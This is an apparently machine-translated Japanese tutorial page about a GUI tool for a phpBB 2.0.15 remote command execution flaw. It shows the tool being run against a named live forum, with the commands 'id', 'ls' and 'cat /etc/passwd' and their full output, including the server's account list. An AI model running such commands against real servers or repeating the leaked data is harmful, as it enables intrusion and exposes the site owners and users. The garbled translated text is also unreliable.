PHPbb2.0.15 リモート コマンド実行の脆弱性悪用プログラム_PHP チュートリアル

面倒な小学校の学期がようやく終わりました。Brother Invincible の <> を見て、この脆弱性を悪用する GUI も書きました。 、初心者に適しています。プログラムは基本的に Python プログラム http://www.securiteam.com/exploits/5QP0X00G0C.html の機能を実装しています。 注: 読み取られたデータの量が多すぎると、プログラムは一時的にアニメーションを停止します。
テスト:
フォーラムURL: http://www.tuoitho.net/diendan/
トピックID: 15218コマンド: id
受信したデータ: uid=99(nobody) gid=99(nobody) groups=99(nobody)

もちろん、「ls」と入力して次を返すなど、他のコマンドを使用することもできます。
ecards
extension .inc
faq.php
flashgame
forum.php
gallery
groupcp.php
images
includes
index.php
language
login.php
memberlist.php
modcp.php
photo
posting.php
privmsg.php
profile.php
realmusic.php
search.php
streammedia.php
templates
tt_images
tt_temp
ttd_news.php
vietuni8.js
viewforum.php
viewonline.php
viewtopic.php
ysi。 htm
ysi.php

cat /etc/passwd と入力して次を返します:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin /nologin
デーモン: x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp :/var/spool /lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt :x:7: 0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/ etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12 :100:ゲーム: /usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP ユーザー:/var/ftp :/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:仮想コンソールのメモリ所有者:/dev:/sbin/nologin
rpm:x:37: 37::/var /lib/rpm:/sbin/nologin
nscd:x:28:28:NSCD デーモン:/:/sbin/nologin
ident:x:100:101::/home/ident:/sbin/ nologin
netdump:x :34:34:ネットワーク クラッシュ ダンプ ユーザー:/var/crash:/bin/bash
sshd:x:74:74:特権分離 SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32 :32:Portmapper RPC ユーザー:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
xfs:x:43:43:X フォント サーバー: /etc/X11/ fs:/sbin/nologin
wnn:x:49:49:Wnn 入力サーバー:/var/lib/wnn:/sbin/nologin
named:x:25:25:Named:/var/named :/sbin/nologin
mysql:x:101:102:MySQL サーバー:/var/lib/mysql:/bin/bash
mailnull:x:47:47:Exim:/var/spool/mqueue:/bin/false
cpanel:x: 32001:502::/usr/local/cpanel:/bin/bash
mailman:x:32002:503::/usr/local/cpanel/3rdparty/mailman:/bin/bash
ltsv-1990 :x:32003: 32003::/home/ltsv-1990:/bin/bash
ttnet:x:32004:504::/home/ttnet:/bin/bash
ttmail:x:32005:505::/home /ttmail:/usr /local/cpanel/bin/noshell
doicongl:x:32006:506::/home/doicongl:/usr/local/cpanel/bin/noshell
realmsof:x:32007:507::/home /realmsof:/usr /local/cpanel/bin/noshell
trpanoco:x:32009:509::/home/trpanoco:/usr/local/cpanel/bin/noshell
qua:x:32008:508::/home /qua:/usr /local/cpanel/bin/noshell
key:x:32010:510::/home/key:/usr/local/cpanel/bin/noshell
cuop:x:32011:511::/home /cuop:/usr /local/cpanel/bin/noshell
bluewebp:x:32012:512::/home/bluewebp:/usr/local/cpanel/bin/noshell
守護天:x:32013:513::/home /守護天:/usr /local/cpanel/bin/noshell
afghansa:x:32014:514::/home/afghansa:/usr/local/cpanel/bin/noshell
polishtr:x:32015:515::/home /polishtr:/usr /local/cpanel/bin/noshell
gioitrec:x:32016:516::/home/gioitrec:/usr/local/cpanel/bin/noshell
colorado:x:32017:517::/home /colorado:/usr /local/cpanel/bin/noshell
wannabel:x:32018:518::/home/wannabel:/usr/local/cpanel/bin/noshell
cactuslo:x:32019:519::/home /cactuslo:/usr /local/cpanel/bin/noshell
aznphoto:x:32020:520::/home/aznphoto:/bin/bash
journeyo:x:32021:521::/home/journeyo:/usr/ local/cpanel/bin /noshell
chiropra:x:32022:522::/home/chiropra:/usr/local/cpanel/bin/noshell






http://www.bkjia.com/PHPjc/532621.html

www.bkjia.com

tru​​ehttp://www.bkjia.com/PHPjc/532621.html